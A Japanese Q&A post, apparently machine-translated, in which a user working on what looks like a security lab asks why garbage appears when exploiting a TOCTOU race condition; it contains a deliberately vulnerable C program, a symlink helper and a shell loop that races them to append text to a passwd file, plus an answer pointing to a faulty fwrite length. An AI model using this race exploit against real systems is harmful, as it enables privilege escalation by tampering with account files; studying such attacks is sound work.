私は今、競争条件エラーを使ってそれを悪用しようとしています。ところで、この過程で私が決して指定しなかった価値があらわれるのに問題が発生する。
以下は事件の説明です。
シナリオ:攻撃者は、特定のプログラムが競合状態に脆弱であることを発見しました。そのため、彼女は攻撃者が管理できるファイルから./passwdファイルへのシンボリックリンクを生成するプログラムを作成しました。その後、彼女は./passwdファイルに対する修正が検出されるまで、脆弱なプログラムと自分のプログラムの両方を実行するシェルスクリプトを作成しました。
脆弱なコードは次のとおりです。
脆弱なプログラム.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#define DELAY 50000
int main(int argc, char *argv[]){
char *fileName = argv[1];
char buffer[60];
int i;
FILE *fileHandler;
scanf("%50s", buffer);
if(!access(fileName, W_OK)){
int a;
for(i=0;i<DELAY;i++){
a=i^2;
}
fileHandler = fopen(fileName, "a+");
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);
fwrite("\n", sizeof(char), 1, fileHandler);
fclose(fileHandler);
}
else{
}
}
競争条件を活用する手順は次のとおりです。
シンボリックリンク.c
#include<stdio.h>
#include<unistd.h>
#include<string.h>
int main(int argc, char *argv[]){
unlink(argv[1]);
symlink("./passwd", argv[1]);
return 0;
}
これはシェルスクリプトです:
悪用する
old=`ls -l passwd`; new=`ls -l passwd`
while [ "$old" = "$new" ]
do
rm -rf temp
echo "This is a file that the user can overwrite" > temp
echo -e "TOCTOU-Attack-Success" | ./vulnerable-program temp & ./symbolic-link temp & new=`ls -l passwd`
done
rm -rf temp;
echo "STOP... The passwd file has been changed"
ただし、Exploit.shを実行すると、結果は次のようになります。
また、/etc/shadowファイルに記録されているユーザー情報など、非常に長い文字列を提供しようとすると、その文字列はpasswdファイルに表示され続け、切り捨てられます。
実際、最初はprintf("No Permission \n");
脆弱なプログラム.cのelseブランチにコード行があります。ただし、同じ問題のため、文字列「TOCTOU-Attack-Success」の前に「No Permission」文字列が引き続き関連付けられ、passwdファイルに引き続き渡され、そのコード行が削除されます。
あなたが私を助けてくれたらとても嬉しいです。今、この問題を解決するにはどうすればいいのかわかりません。
答え1
fwrite("\n", sizeof(char), strlen(buffer), fileHandler);
改行文字とともに、読み取り専用データ領域の一部のゴミを定数文字列 "\n" の直後に入力文字列の長さまで送信します。